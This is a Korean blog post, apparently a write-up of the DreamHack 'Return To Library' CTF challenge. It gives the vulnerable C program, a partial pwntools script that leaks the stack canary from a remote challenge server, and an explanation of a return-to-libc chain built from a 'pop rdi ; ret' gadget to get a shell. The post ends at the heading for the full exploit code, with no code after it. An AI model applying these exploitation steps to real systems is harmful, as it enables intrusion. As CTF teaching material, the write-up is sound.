시스템 해킹/DreamHack으로 해커를 꿈꾸며

[DreamHack] Return To Library

0x6b6569 2023. 2. 27. 15:20
NX로 공격자가 직접 쉘 코드를 실행하는 것은 어려워졌지만, 스택 버퍼 오버플로우 취약점으로 반환주소를 덮는건 가능했다. 

 

 

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

 

read 함수에서 BOF 취약점을 이용해서 문제를 해결할 수 있다.

 

NX와 Cannary가 설정되어 있다.

 

일단 스택의 구조를 살펴보자

 

첫번째 read 함수를 통해 카나리를 알아내야한다.

buf부터 카나리까지의 거리는 0x38이므로 0x39만큼 'A' 문자를 입력하면 카나리 앞의 '\x00'이 제거 되어서 카나리를 알아 낼 수 있습니다. 

 

from pwn import *


p = remote("host3.dreamhack.games", 16643)
e = ELF("./rtl")


buf = b"A"*0x39

p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))

 

 

카나리를 구했다면, 이제 두 번째 입력으로 반환주소를 덮어야 합니다. 

그러나 NX로 인해 buf에 직접 쉘코드를 주입하고 이를 실행할 수는 없습니다.

 

다른방법으로 공격을 해야합니다.

우리는 sustem 함수의 PLT 주소를 알고 있다면 system 함수를 이용해서 system("/bin/sh")을 호출하여 쉘을 획득할 수 있습니다.

 

여기서 이 방법의 중요한 키 포인트는 rdi를 '/bin/sh' 값으로 설정해야 된다는 점인데 이를 위해서 "리턴 가젯"을 이용합니다.

 

0x0000000000400853 : pop rdi ; ret

리턴 가젯은 ret로 끝나는 어셈블리 코드 조각입니다.

 

리턴 가젯은 반환 주소를 덮는 공격의 유연성을 높여서 익스플로잇에 필요한 조건을 만족할 수 있도록 돕습니다. 예를들어 

이 문제에서는 rdi의 값을 "/bin/sh"의 주소로 설정하고 system함수를 호출해야 합니다. 리턴 가젯을 사용하여 반환 주소와 이후의 버퍼를 다음과 같이 덮으면 pop rdi로 rdi를 "/bin/sh"의 주소로 설정하고, 이어지는 ret로 system 함수를 호출 할 수 있습니다.

 

 

준비물 -> system plt, /bin/sh, return gadget

 

return gadget

 

/bin/sh

 

system plt

 

 

전체 익스플로잇 코드